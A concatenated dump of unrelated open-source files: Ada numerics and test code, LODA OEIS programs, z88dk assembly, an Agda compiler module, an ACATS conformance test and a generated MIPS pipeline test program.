INCLUDE "adt/b_array/z80/asm_b_array_empty.asm"
|
source/numerics/a-nsrear.ads | ytomino/drake | 33 | 5701 | <gh_stars>10-100
pragma License (Unrestricted);
with Ada.Numerics.Generic_Real_Arrays;
package Ada.Numerics.Short_Real_Arrays is
new Generic_Real_Arrays (Short_Float);
pragma Pure (Ada.Numerics.Short_Real_Arrays);
|
oeis/336/A336626.asm | neoneye/loda-programs | 11 | 170652 | ; A336626: Triangular numbers that are eight times another triangular number.
; Submitted by <NAME>
; 0,120,528,139128,609960,160554240,703893960,185279454480,812293020528,213812329916328,937385441796000,246739243443988680,1081741987539564120,284736873122033021040,1248329316235215199128,328586104843582662292128,1440570949193450800230240,379188080252621270252095320,1662417627039925988250498480,437582716025420102288255707800,1918428501033125396990275016328,504970075105254545419376834706528,2213864827774599668200789118344680,582735029088747719993858578995626160
seq $0,336623 ; First member of the Diophantine pair (m, k) that satisfies 8*(m^2 + m) = k^2 + k; a(n) = m
mov $1,1
add $1,$0
mul $0,$1
mul $0,4
|
oeis/117/A117617.asm | neoneye/loda-programs | 11 | 10362 | ; A117617: a(n) = 5*a(n-1) + 3 with a(0) = 1.
; Submitted by <NAME>
; 1,8,43,218,1093,5468,27343,136718,683593,3417968,17089843,85449218,427246093,2136230468,10681152343,53405761718,267028808593,1335144042968,6675720214843,33378601074218,166893005371093,834465026855468,4172325134277343,20861625671386718,104308128356933593,521540641784667968,2607703208923339843,13038516044616699218,65192580223083496093,325962901115417480468,1629814505577087402343,8149072527885437011718,40745362639427185058593,203726813197135925292968,1018634065985679626464843
mov $2,5
pow $2,$0
mov $0,$2
div $0,4
mul $0,7
add $0,1
|
libsrc/target/tvc/romgfx/setpos.asm | dikdom/z88dk | 0 | 92570 | ;
; Videoton TV Computer C stub
; <NAME> - 2019
;
; Set pen position to X;Y (BC;DE)
;
SECTION code_clib
public setpos_callee
public _setpos_callee
public setpos
public _setpos
INCLUDE "target/tvc/def/tvc.def"
.setpos_callee
._setpos_callee
pop hl ; ret addr
pop de
pop bc
push hl ; ret addr
.setpos
._setpos
ld hl,ROM_RESY-1 ; y=959-y
xor a
sbc hl,de
ex de,hl
rst $30
defb BABS ; GRAPHICS - SET CURSOR TO ABS POSITION
ret
|
drivers/lu_test.adb | sciencylab/lagrangian-solver | 0 | 14743 | <reponame>sciencylab/lagrangian-solver<filename>drivers/lu_test.adb<gh_stars>0
with Numerics, Numerics.Dense_Matrices, Ada.Text_IO, Dense_AD;
use Numerics, Numerics.Dense_Matrices, Ada.Text_IO;
procedure LU_Test is
use Real_IO, Int_IO;
N : constant Nat := 5;
package AD is new Dense_AD (N); use AD;
Example_1 : constant Real_Matrix := ((1.0, 3.0, 5.0),
(2.0, 4.0, 7.0),
(1.0, 1.0, 0.0));
Inv, L1, U1 : Real_Matrix (Example_1'Range (1), Example_1'Range (2));
P1 : Int_Array (Example_1'Range (1));
Example_2 : constant Real_Matrix := ((11.0, 9.0, 24.0, 2.0),
(1.0, 5.0, 2.0, 6.0),
(3.0, 17.0, 18.0, 1.0),
(2.0, 5.0, 7.0, 1.0));
L2, U2 : Real_Matrix (Example_2'Range (1), Example_2'Range (2));
P2 : Int_Array (Example_2'Range (1));
X : Real_Vector := (-1.0, 3.0, 2.0);
begin
LU_Decomposition (A => Example_1,
P => P1,
L => L1,
U => U1);
LU_Decomposition (A => Example_2,
P => P2,
L => L2,
U => U2);
Put_Line ("Example 1: ");
Print (Example_1);
Put_Line ("P: ");
for P of P1 loop
Put (P, 3); Put (", ");
end loop;
New_Line;
Put_Line ("L: ");
Print (L1);
Put_Line ("U: ");
Print (U1);
Put ("Det = "); Put (Determinant (P1, L1, U1), Exp => 0); New_Line;
Inv := Inverse (Example_1);
Put_Line ("Inv: ");
Print (Inv);
Inv := Inv * Example_1;
New_Line;
Print (Inv);
New_Line;
X := Solve (P1, L1, U1, X);
Put_Line ("X: ");
for Item of X loop
Put (Item, Aft => 3, Exp => 0); New_Line;
end loop;
New_Line;
-- Put_Line ("Example 2: ");
-- Print (Example_2);
-- Put_Line ("P: ");
-- for P of P2 loop
-- Put (P, 3); Put (", ");
-- end loop;
-- New_Line;
-- Put_Line ("L: ");
-- Print (L2);
-- Put_Line ("U: ");
-- Print (U2);
-- Put ("Det = "); Put (Determinant (P2, L2, U2), Exp => 0); New_Line;
-- Put ("Det = "); Put (Determinant (Example_2), Exp => 0); New_Line;
-- New_Line;
-- Put_Line ("----------------------------------------");
-- Num := Number_Of_Swaps ((1, 2, 3, 4, 5));
-- Put ("Number of swaps = "); Put (Num); New_Line;
-- Put_Line ("----------------------------------------");
end LU_Test;
|
src/Lambda/Simplified/Compiler.agda | nad/partiality-monad | 2 | 14780 | ------------------------------------------------------------------------
-- A compiler
------------------------------------------------------------------------
{-# OPTIONS --erased-cubical --safe #-}
module Lambda.Simplified.Compiler where
open import Equality.Propositional.Cubical
open import Prelude
open import Vec.Function equality-with-J
open import Lambda.Simplified.Syntax
open import Lambda.Simplified.Virtual-machine
private
module C = Closure Code
module T = Closure Tm
-- The compiler (which takes a code continuation).
comp : ∀ {n} → Tm n → Code n → Code n
comp (var x) c = var x ∷ c
comp (ƛ t) c = clo (comp t (ret ∷ [])) ∷ c
comp (t₁ · t₂) c = comp t₁ (comp t₂ (app ∷ c))
-- Environments and values can also be compiled.
mutual
comp-env : ∀ {n} → T.Env n → C.Env n
comp-env ρ n = comp-val (ρ n)
comp-val : T.Value → C.Value
comp-val (T.ƛ t ρ) = C.ƛ (comp t (ret ∷ [])) (comp-env ρ)
-- Compilation takes empty environments to empty environments.
comp-nil : comp-env nil ≡ nil
comp-nil = empty≡nil ext
-- Compilation commutes with cons.
comp-cons : ∀ {n} {ρ : T.Env n} {v} →
comp-env (cons v ρ) ≡ cons (comp-val v) (comp-env ρ)
comp-cons = non-empty≡cons-head-tail ext _
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c8/c85007a.ada | best08618/asylo | 7 | 8939 | -- C85007A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT THE DISCRIMINANTS OF A RENAMED OUT FORMAL PARAMETER, AS
-- WELL AS THE DISCRIMINANTS OF THE RENAMED SUBCOMPONENTS OF AN OUT
-- FORMAL PARAMETER, MAY BE READ INSIDE THE PROCEDURE.
-- SPS 02/17/84 (SEE C62006A-B.ADA)
-- EG 02/21/84
WITH REPORT; USE REPORT;
PROCEDURE C85007A IS
BEGIN
TEST ("C85007A", "CHECK THAT THE DISCRIMINANTS OF A RENAMED OUT " &
"FORMAL PARAMETER CAN BE READ INSIDE THE PROCEDURE");
DECLARE
TYPE R1 (D1 : INTEGER) IS RECORD
NULL;
END RECORD;
TYPE R2 (D2 : POSITIVE) IS RECORD
C : R1 (2);
END RECORD;
SUBTYPE R1_2 IS R1(2);
R : R2 (5);
PROCEDURE PROC (REC : OUT R2) IS
REC1 : R2 RENAMES REC;
REC2 : R1_2 RENAMES REC.C;
REC3 : R2 RENAMES REC1;
REC4 : R1_2 RENAMES REC1.C;
REC5 : R1_2 RENAMES REC4;
BEGIN
IF REC1.D2 /= 5 THEN
FAILED ("UNABLE TO CORRECTLY READ DISCRIMINANT OF" &
" A RENAMED OUT PARAMETER");
END IF;
IF REC1.C.D1 /= 2 THEN
FAILED ("UNABLE TO CORRECTLY READ DISCRIMINANT " &
"OF THE SUBCOMPONENT OF A RENAMED OUT " &
"PARAMETER");
END IF;
IF REC2.D1 /= 2 THEN
FAILED ("UNABLE TO CORRECTLY READ DISCRIMINANT " &
"OF A RENAMED SUBCOMPONENT OF AN OUT " &
"PARAMETER");
END IF;
IF REC3.D2 /= 5 THEN
FAILED ("UNABLE TO CORRECTLY READ DISCRIMINANT OF" &
" A RENAME OF A RENAMED OUT PARAMETER");
END IF;
IF REC3.C.D1 /= 2 THEN
FAILED ("UNABLE TO CORRECTLY READ DISCRIMINANT " &
"OF THE SUBCOMPONENT OF A RENAME OF A " &
"RENAMED OUT PARAMETER");
END IF;
IF REC4.D1 /= 2 THEN
FAILED ("UNABLE TO CORRECTLY READ DISCRIMINANT " &
"OF A RENAMED SUBCOMPONENT OF A RENAMED" &
" OUT PARAMETER");
END IF;
IF REC5.D1 /= 2 THEN
FAILED ("UNABLE TO CORRECTLY READ DISCRIMINANT " &
"OF A RENAME OF RENAMED SUBCOMPONENT OF" &
" A RENAMED OUT PARAMETER");
END IF;
END PROC;
BEGIN
PROC (R);
END;
RESULT;
END C85007A;
|
P6/data_P6/testpoint/testpoint70.asm | alxzzhou/BUAA_CO_2020 | 1 | 16117 | ori $1, $0, 3
ori $2, $0, 7
ori $3, $0, 8
ori $4, $0, 11
sw $3, 0($0)
sw $3, 4($0)
sw $1, 8($0)
sw $2, 12($0)
sw $3, 16($0)
sw $3, 20($0)
sw $1, 24($0)
sw $4, 28($0)
sw $1, 32($0)
sw $1, 36($0)
sw $1, 40($0)
sw $1, 44($0)
sw $1, 48($0)
sw $2, 52($0)
sw $1, 56($0)
sw $3, 60($0)
sw $2, 64($0)
sw $1, 68($0)
sw $2, 72($0)
sw $1, 76($0)
sw $1, 80($0)
sw $1, 84($0)
sw $4, 88($0)
sw $2, 92($0)
sw $1, 96($0)
sw $3, 100($0)
sw $4, 104($0)
sw $1, 108($0)
sw $1, 112($0)
sw $1, 116($0)
sw $1, 120($0)
sw $4, 124($0)
blez $2, TAG1
div $2, $2
lui $4, 6
mfhi $2
TAG1:
multu $2, $2
sltu $3, $2, $2
lb $4, 0($3)
subu $3, $3, $4
TAG2:
lui $3, 7
sltu $4, $3, $3
addu $4, $3, $3
srlv $1, $3, $3
TAG3:
sll $0, $0, 0
sll $0, $0, 0
mtlo $1
lui $3, 1
TAG4:
mthi $3
mflo $2
bltz $3, TAG5
or $1, $3, $3
TAG5:
lui $2, 12
nor $4, $1, $1
sll $0, $0, 0
addiu $4, $2, 7
TAG6:
slti $4, $4, 15
lbu $4, 0($4)
sh $4, 0($4)
blez $4, TAG7
TAG7:
mthi $4
multu $4, $4
sra $3, $4, 13
bgez $3, TAG8
TAG8:
lui $3, 4
mflo $1
mthi $3
mthi $3
TAG9:
sra $4, $1, 4
beq $1, $4, TAG10
lbu $1, 0($4)
bgtz $1, TAG10
TAG10:
lui $1, 0
lui $3, 12
div $1, $3
beq $1, $1, TAG11
TAG11:
mfhi $2
mult $3, $2
mfhi $4
bne $2, $2, TAG12
TAG12:
mflo $1
bgtz $4, TAG13
sb $4, 0($1)
mflo $4
TAG13:
mtlo $4
mfhi $1
mult $4, $1
addi $4, $4, 13
TAG14:
addu $4, $4, $4
lui $4, 0
ori $4, $4, 6
bne $4, $4, TAG15
TAG15:
addiu $4, $4, 2
lhu $3, 0($4)
div $4, $4
beq $3, $3, TAG16
TAG16:
div $3, $3
div $3, $3
and $2, $3, $3
mtlo $3
TAG17:
lui $1, 8
sll $0, $0, 0
sll $0, $0, 0
sltiu $1, $1, 14
TAG18:
mflo $1
mflo $3
mtlo $1
mfhi $1
TAG19:
bgez $1, TAG20
lui $3, 5
or $4, $3, $3
slt $4, $1, $4
TAG20:
divu $4, $4
lui $1, 4
sw $4, 0($4)
bne $1, $1, TAG21
TAG21:
xori $1, $1, 15
mthi $1
mtlo $1
mfhi $3
TAG22:
beq $3, $3, TAG23
sll $0, $0, 0
sra $3, $3, 11
lb $4, 0($3)
TAG23:
mthi $4
bltz $4, TAG24
lh $2, 0($4)
bltz $2, TAG24
TAG24:
lui $1, 11
beq $2, $1, TAG25
xor $1, $2, $2
div $1, $2
TAG25:
bltz $1, TAG26
lui $3, 9
lui $2, 4
andi $4, $3, 10
TAG26:
bne $4, $4, TAG27
lh $3, 0($4)
addiu $2, $3, 11
div $3, $2
TAG27:
mflo $3
blez $2, TAG28
mthi $2
bgtz $2, TAG28
TAG28:
mthi $3
mthi $3
add $2, $3, $3
slti $4, $3, 0
TAG29:
lhu $1, 0($4)
nor $2, $1, $4
lui $1, 2
mult $1, $4
TAG30:
multu $1, $1
divu $1, $1
beq $1, $1, TAG31
lui $3, 12
TAG31:
lui $2, 10
lui $1, 10
mult $2, $2
div $1, $1
TAG32:
beq $1, $1, TAG33
sra $1, $1, 10
mflo $4
mtlo $4
TAG33:
addu $3, $4, $4
lui $2, 0
beq $4, $4, TAG34
lw $4, 0($4)
TAG34:
mfhi $1
mfhi $2
mthi $1
lui $2, 1
TAG35:
mthi $2
addu $2, $2, $2
mflo $3
sll $0, $0, 0
TAG36:
xori $3, $2, 3
sll $0, $0, 0
mflo $2
beq $2, $2, TAG37
TAG37:
addiu $3, $2, 0
mfhi $2
mtlo $2
sll $0, $0, 0
TAG38:
bgez $2, TAG39
sll $0, $0, 0
lhu $1, 0($2)
sb $2, 0($2)
TAG39:
mthi $1
lh $2, 0($1)
mfhi $1
bne $2, $2, TAG40
TAG40:
mfhi $3
bne $1, $3, TAG41
addiu $1, $3, 7
beq $1, $3, TAG41
TAG41:
mtlo $1
sltu $2, $1, $1
lb $2, 0($1)
mult $1, $1
TAG42:
bne $2, $2, TAG43
lbu $2, 0($2)
mfhi $1
bgtz $2, TAG43
TAG43:
mult $1, $1
mtlo $1
lui $4, 15
divu $1, $4
TAG44:
mfhi $3
sltiu $4, $3, 0
lui $4, 9
and $4, $4, $3
TAG45:
bltz $4, TAG46
add $2, $4, $4
sub $4, $2, $2
sllv $2, $4, $4
TAG46:
lh $4, 0($2)
mult $2, $2
bltz $4, TAG47
mtlo $2
TAG47:
mthi $4
bne $4, $4, TAG48
sw $4, 0($4)
lui $1, 6
TAG48:
div $1, $1
mthi $1
addiu $1, $1, 7
bgez $1, TAG49
TAG49:
sll $0, $0, 0
sll $0, $0, 0
nor $4, $1, $1
sll $0, $0, 0
TAG50:
lui $3, 10
sll $0, $0, 0
sll $0, $0, 0
mflo $1
TAG51:
addu $1, $1, $1
lb $4, 0($1)
mflo $2
mfhi $1
TAG52:
sra $4, $1, 6
ori $2, $4, 14
mthi $4
ori $3, $1, 8
TAG53:
mfhi $2
beq $3, $2, TAG54
sll $0, $0, 0
sllv $2, $2, $2
TAG54:
xori $1, $2, 0
bgtz $1, TAG55
lbu $1, -6144($1)
mult $1, $2
TAG55:
sltiu $3, $1, 13
ori $1, $1, 0
bltz $1, TAG56
srlv $3, $1, $1
TAG56:
subu $2, $3, $3
lui $4, 6
mfhi $3
add $1, $2, $3
TAG57:
sw $1, -6144($1)
beq $1, $1, TAG58
sh $1, -6144($1)
div $1, $1
TAG58:
mtlo $1
multu $1, $1
lui $2, 0
subu $3, $2, $1
TAG59:
srlv $1, $3, $3
mflo $3
ori $2, $3, 12
bne $3, $1, TAG60
TAG60:
addiu $3, $2, 12
sra $4, $3, 0
mtlo $2
sll $0, $0, 0
TAG61:
lui $4, 0
lhu $3, 0($4)
sll $0, $0, 0
beq $4, $4, TAG62
TAG62:
mfhi $3
sub $3, $3, $3
multu $3, $3
xor $3, $3, $3
TAG63:
srl $1, $3, 11
beq $1, $3, TAG64
lhu $2, 0($3)
bgtz $3, TAG64
TAG64:
sll $0, $0, 0
divu $2, $2
sllv $4, $2, $2
mflo $4
TAG65:
mfhi $2
srav $3, $4, $4
bltz $4, TAG66
multu $3, $3
TAG66:
slti $2, $3, 12
lb $1, 0($2)
bne $3, $3, TAG67
mtlo $3
TAG67:
bgez $1, TAG68
lhu $4, 0($1)
mthi $1
mtlo $1
TAG68:
sb $4, 0($4)
lui $1, 2
mfhi $1
mtlo $1
TAG69:
subu $1, $1, $1
srav $4, $1, $1
slt $2, $4, $1
sw $4, 0($1)
TAG70:
mflo $1
bgtz $2, TAG71
sh $1, 0($1)
or $3, $1, $1
TAG71:
sh $3, 0($3)
bgez $3, TAG72
andi $2, $3, 6
sltiu $3, $3, 0
TAG72:
lui $4, 8
sh $4, 0($3)
srlv $2, $4, $4
bne $3, $2, TAG73
TAG73:
sll $0, $0, 0
mthi $2
div $2, $2
nor $1, $2, $2
TAG74:
div $1, $1
xor $3, $1, $1
mult $1, $1
bgez $3, TAG75
TAG75:
sw $3, 0($3)
mthi $3
mult $3, $3
mfhi $3
TAG76:
mfhi $1
slt $3, $1, $1
lb $1, 0($3)
xor $4, $1, $1
TAG77:
lui $2, 5
mflo $3
sb $3, 0($4)
andi $2, $2, 0
TAG78:
lhu $4, 0($2)
slti $3, $4, 1
blez $3, TAG79
div $2, $3
TAG79:
lbu $2, 0($3)
bltz $3, TAG80
lb $1, 0($3)
lb $1, 0($3)
TAG80:
mthi $1
beq $1, $1, TAG81
lhu $1, 0($1)
beq $1, $1, TAG81
TAG81:
mult $1, $1
lw $2, 0($1)
sh $1, 0($1)
mthi $2
TAG82:
xori $1, $2, 14
sb $2, 0($1)
beq $1, $1, TAG83
srlv $3, $2, $2
TAG83:
bgtz $3, TAG84
lhu $2, 0($3)
mfhi $3
mfhi $4
TAG84:
lui $4, 14
srl $2, $4, 10
mthi $4
lui $2, 3
TAG85:
addiu $3, $2, 0
subu $1, $2, $2
sll $0, $0, 0
sll $0, $0, 0
TAG86:
bgez $3, TAG87
lui $4, 9
lui $2, 4
sltu $2, $2, $4
TAG87:
mthi $2
mfhi $2
mfhi $1
sll $0, $0, 0
TAG88:
div $2, $2
subu $2, $2, $2
bltz $2, TAG89
mflo $2
TAG89:
lui $1, 13
addiu $4, $2, 11
lw $2, 0($4)
divu $2, $2
TAG90:
blez $2, TAG91
nor $1, $2, $2
lb $2, 0($2)
lhu $2, 0($2)
TAG91:
lh $4, 0($2)
sw $2, 0($2)
mfhi $4
and $3, $4, $4
TAG92:
or $2, $3, $3
bne $2, $2, TAG93
sh $2, 0($2)
addu $2, $3, $3
TAG93:
bne $2, $2, TAG94
sltu $4, $2, $2
bgtz $2, TAG94
sllv $3, $2, $4
TAG94:
sw $3, 0($3)
beq $3, $3, TAG95
mthi $3
lui $4, 1
TAG95:
lb $2, 0($4)
bne $2, $2, TAG96
sw $2, 0($2)
lui $2, 14
TAG96:
divu $2, $2
mtlo $2
sllv $3, $2, $2
bgtz $3, TAG97
TAG97:
mfhi $4
bgtz $4, TAG98
sll $0, $0, 0
sll $0, $0, 0
TAG98:
blez $4, TAG99
mthi $4
mfhi $3
mult $4, $4
TAG99:
sll $0, $0, 0
lui $1, 7
blez $3, TAG100
mfhi $1
TAG100:
multu $1, $1
slti $1, $1, 6
mthi $1
bgez $1, TAG101
TAG101:
lui $4, 1
mtlo $4
sll $0, $0, 0
sb $1, 0($1)
TAG102:
blez $4, TAG103
xori $1, $4, 15
bgez $1, TAG103
mfhi $3
TAG103:
srlv $2, $3, $3
mfhi $1
sltiu $4, $1, 4
bgez $2, TAG104
TAG104:
lui $4, 5
sll $0, $0, 0
sll $0, $0, 0
mthi $4
TAG105:
mtlo $4
sll $0, $0, 0
mult $4, $4
blez $4, TAG106
TAG106:
addu $3, $4, $4
sll $0, $0, 0
sll $0, $0, 0
bne $3, $3, TAG107
TAG107:
mthi $4
sll $0, $0, 0
addu $4, $4, $2
multu $4, $2
TAG108:
blez $4, TAG109
slti $2, $4, 12
addiu $3, $4, 1
lui $2, 10
TAG109:
sll $0, $0, 0
addu $1, $2, $2
srl $1, $1, 6
mult $2, $1
TAG110:
lui $1, 13
bgtz $1, TAG111
mflo $1
mtlo $1
TAG111:
div $1, $1
sll $0, $0, 0
mflo $4
sll $0, $0, 0
TAG112:
lui $4, 5
subu $3, $4, $4
mflo $1
xori $4, $3, 13
TAG113:
beq $4, $4, TAG114
divu $4, $4
bne $4, $4, TAG114
mfhi $4
TAG114:
slt $1, $4, $4
mthi $1
lui $2, 7
sll $0, $0, 0
TAG115:
addu $4, $2, $2
mult $2, $4
mflo $1
sh $4, 0($1)
TAG116:
lw $2, 0($1)
bltz $2, TAG117
mflo $1
mfhi $4
TAG117:
bltz $4, TAG118
lui $4, 13
mthi $4
mthi $4
TAG118:
mfhi $3
beq $3, $3, TAG119
sll $0, $0, 0
sw $3, 0($3)
TAG119:
bne $3, $3, TAG120
srlv $2, $3, $3
bltz $3, TAG120
sra $2, $2, 2
TAG120:
addiu $4, $2, 8
bgez $2, TAG121
lui $3, 4
mflo $2
TAG121:
beq $2, $2, TAG122
nor $2, $2, $2
lh $3, 0($2)
div $3, $3
TAG122:
andi $2, $3, 9
srlv $2, $3, $2
mfhi $1
beq $1, $2, TAG123
TAG123:
andi $4, $1, 9
mflo $4
bltz $4, TAG124
sll $0, $0, 0
TAG124:
bne $4, $4, TAG125
mthi $4
mult $4, $4
lh $2, 0($4)
TAG125:
addu $3, $2, $2
sltu $2, $3, $2
mfhi $4
lui $1, 12
TAG126:
xori $2, $1, 4
or $1, $1, $2
bne $1, $1, TAG127
mtlo $1
TAG127:
slti $3, $1, 14
sll $0, $0, 0
mthi $1
or $2, $3, $3
TAG128:
bne $2, $2, TAG129
sh $2, 0($2)
bgez $2, TAG129
multu $2, $2
TAG129:
multu $2, $2
sb $2, 0($2)
sw $2, 0($2)
blez $2, TAG130
TAG130:
multu $2, $2
mfhi $2
sb $2, 0($2)
multu $2, $2
TAG131:
mtlo $2
sb $2, 0($2)
lui $1, 6
mfhi $1
TAG132:
addiu $1, $1, 15
beq $1, $1, TAG133
mfhi $2
beq $1, $2, TAG133
TAG133:
xori $3, $2, 10
mfhi $4
beq $4, $4, TAG134
mthi $3
TAG134:
bltz $4, TAG135
sw $4, 0($4)
lui $1, 8
sltu $2, $1, $1
TAG135:
lui $1, 15
sll $0, $0, 0
srl $2, $1, 10
mfhi $2
TAG136:
sh $2, 0($2)
slti $1, $2, 2
sh $2, 0($2)
addu $2, $2, $1
TAG137:
sltu $3, $2, $2
bgtz $3, TAG138
mfhi $3
beq $2, $2, TAG138
TAG138:
mfhi $4
sh $4, 0($3)
mthi $3
bne $3, $4, TAG139
TAG139:
lh $4, 0($4)
mflo $4
mflo $2
srl $2, $4, 15
TAG140:
sw $2, 0($2)
bne $2, $2, TAG141
sltiu $1, $2, 4
addi $3, $2, 4
TAG141:
divu $3, $3
mfhi $2
lui $1, 4
mtlo $1
TAG142:
andi $4, $1, 7
multu $1, $4
sll $0, $0, 0
lh $4, 0($4)
TAG143:
addi $1, $4, 11
mfhi $4
mtlo $1
lui $2, 4
TAG144:
sll $0, $0, 0
mtlo $2
mult $2, $2
lui $4, 0
TAG145:
multu $4, $4
beq $4, $4, TAG146
mult $4, $4
multu $4, $4
TAG146:
lhu $1, 0($4)
addu $4, $1, $4
lui $3, 13
multu $3, $1
TAG147:
blez $3, TAG148
sltiu $1, $3, 2
sub $4, $3, $1
bgtz $4, TAG148
TAG148:
sll $3, $4, 5
mflo $4
andi $1, $4, 14
mtlo $4
TAG149:
mthi $1
multu $1, $1
or $3, $1, $1
bgtz $1, TAG150
TAG150:
andi $2, $3, 6
mtlo $2
subu $2, $2, $3
lui $1, 4
TAG151:
mfhi $1
multu $1, $1
sw $1, 0($1)
slti $4, $1, 10
TAG152:
lui $3, 11
mthi $4
and $3, $3, $4
multu $4, $3
TAG153:
sb $3, 0($3)
lb $1, 0($3)
lui $2, 1
mfhi $1
TAG154:
mtlo $1
mthi $1
sll $1, $1, 8
lui $4, 10
TAG155:
lui $2, 5
bgtz $2, TAG156
sll $0, $0, 0
mult $2, $4
TAG156:
sll $0, $0, 0
mfhi $3
mult $2, $3
addiu $1, $3, 0
TAG157:
mfhi $3
lhu $1, 0($1)
lhu $3, 0($1)
mult $1, $1
TAG158:
lb $3, 0($3)
mfhi $2
bne $3, $2, TAG159
mult $2, $3
TAG159:
lb $2, 0($2)
lh $2, 0($2)
mflo $3
sh $2, 0($3)
TAG160:
mult $3, $3
lh $2, 0($3)
blez $3, TAG161
lui $1, 6
TAG161:
or $4, $1, $1
bne $4, $1, TAG162
mfhi $1
add $4, $1, $1
TAG162:
bgtz $4, TAG163
sw $4, 0($4)
nor $1, $4, $4
sb $4, 0($4)
TAG163:
mfhi $1
beq $1, $1, TAG164
ori $1, $1, 3
addu $1, $1, $1
TAG164:
beq $1, $1, TAG165
lb $1, 0($1)
andi $1, $1, 1
addu $4, $1, $1
TAG165:
sb $4, 0($4)
multu $4, $4
sh $4, 0($4)
multu $4, $4
TAG166:
lb $3, 0($4)
slti $4, $4, 15
mfhi $2
mthi $2
TAG167:
blez $2, TAG168
lw $1, 0($2)
lui $1, 14
sh $1, 0($1)
TAG168:
lui $1, 1
mtlo $1
bgtz $1, TAG169
mtlo $1
TAG169:
addu $4, $1, $1
addiu $1, $1, 15
and $4, $4, $1
mfhi $2
TAG170:
mflo $4
mthi $4
mult $2, $2
bltz $2, TAG171
TAG171:
sll $0, $0, 0
bne $4, $4, TAG172
srlv $3, $4, $4
sll $0, $0, 0
TAG172:
lui $2, 10
bne $3, $3, TAG173
multu $2, $3
lui $1, 13
TAG173:
bgtz $1, TAG174
mtlo $1
mflo $3
sw $1, 0($3)
TAG174:
mflo $1
div $3, $3
addiu $1, $3, 10
slt $3, $3, $1
TAG175:
srlv $2, $3, $3
sltu $4, $2, $3
addu $2, $3, $3
lhu $2, 0($2)
TAG176:
and $4, $2, $2
beq $2, $4, TAG177
mfhi $2
mfhi $1
TAG177:
mtlo $1
sll $0, $0, 0
srav $4, $1, $1
sh $4, 0($4)
TAG178:
mtlo $4
beq $4, $4, TAG179
mtlo $4
bgtz $4, TAG179
TAG179:
sll $1, $4, 13
lui $4, 9
sll $0, $0, 0
mfhi $1
TAG180:
sub $3, $1, $1
lb $4, 0($1)
lui $4, 15
andi $2, $3, 2
TAG181:
sw $2, 0($2)
mult $2, $2
sh $2, 0($2)
bne $2, $2, TAG182
TAG182:
lui $1, 1
slti $4, $1, 6
beq $4, $2, TAG183
mfhi $1
TAG183:
sw $1, 0($1)
sll $1, $1, 5
mthi $1
srl $3, $1, 12
TAG184:
mfhi $4
lhu $2, 0($3)
blez $4, TAG185
mult $2, $3
TAG185:
lui $2, 13
mflo $2
sltiu $3, $2, 2
lbu $1, 0($2)
TAG186:
mflo $4
sltiu $1, $1, 11
beq $4, $1, TAG187
mfhi $4
TAG187:
sh $4, 0($4)
lb $1, 0($4)
sb $1, 0($1)
sh $4, 0($4)
TAG188:
mthi $1
addi $3, $1, 1
lui $2, 5
mult $2, $2
TAG189:
mtlo $2
mtlo $2
bgtz $2, TAG190
mtlo $2
TAG190:
sll $0, $0, 0
mflo $3
mthi $2
mult $2, $2
TAG191:
sll $0, $0, 0
mfhi $4
bgez $4, TAG192
lbu $2, 0($4)
TAG192:
sra $1, $2, 11
mthi $2
multu $1, $1
srlv $2, $2, $1
TAG193:
sltiu $2, $2, 7
lb $3, 0($2)
sltu $3, $3, $2
lbu $3, 0($3)
TAG194:
mfhi $2
srlv $2, $3, $2
nor $1, $3, $2
lhu $4, 0($3)
TAG195:
lbu $3, 0($4)
sra $4, $3, 5
multu $3, $3
mfhi $3
TAG196:
mult $3, $3
lb $2, 0($3)
lh $3, 0($2)
mfhi $2
TAG197:
addu $2, $2, $2
bne $2, $2, TAG198
multu $2, $2
lui $4, 4
TAG198:
mtlo $4
lui $2, 13
lui $1, 9
bgez $2, TAG199
TAG199:
sll $0, $0, 0
addiu $1, $1, 11
mtlo $1
sll $0, $0, 0
TAG200:
bgez $1, TAG201
sll $0, $0, 0
sb $1, 0($1)
divu $1, $1
TAG201:
bltz $1, TAG202
sll $0, $0, 0
multu $3, $3
sll $0, $0, 0
TAG202:
mult $3, $3
multu $3, $3
mfhi $3
blez $3, TAG203
TAG203:
mflo $1
lbu $3, 0($3)
blez $3, TAG204
mflo $1
TAG204:
lui $1, 11
lui $4, 14
sll $0, $0, 0
mthi $4
TAG205:
sll $0, $0, 0
sll $0, $0, 0
bgtz $2, TAG206
div $2, $2
TAG206:
xor $1, $2, $2
sb $2, 0($1)
sll $0, $0, 0
sb $2, 0($1)
TAG207:
mult $1, $1
lh $2, 0($1)
lw $4, 0($1)
subu $2, $2, $4
TAG208:
mtlo $2
slt $2, $2, $2
lb $1, 0($2)
lui $4, 10
TAG209:
divu $4, $4
sll $0, $0, 0
addiu $3, $4, 14
div $3, $3
TAG210:
mflo $2
or $2, $3, $3
mfhi $4
addu $4, $3, $3
TAG211:
beq $4, $4, TAG212
or $3, $4, $4
mtlo $4
bne $3, $4, TAG212
TAG212:
srlv $2, $3, $3
sll $3, $3, 0
mtlo $3
sll $0, $0, 0
TAG213:
lb $4, 0($1)
and $2, $1, $1
lh $2, 0($2)
lui $2, 14
TAG214:
mflo $3
divu $2, $3
mthi $2
lui $3, 13
TAG215:
mfhi $1
sll $0, $0, 0
bgez $3, TAG216
multu $1, $3
TAG216:
bne $1, $1, TAG217
divu $1, $1
bgtz $1, TAG217
div $1, $1
TAG217:
addiu $4, $1, 0
sll $0, $0, 0
bne $4, $1, TAG218
mfhi $4
TAG218:
bgtz $4, TAG219
addu $1, $4, $4
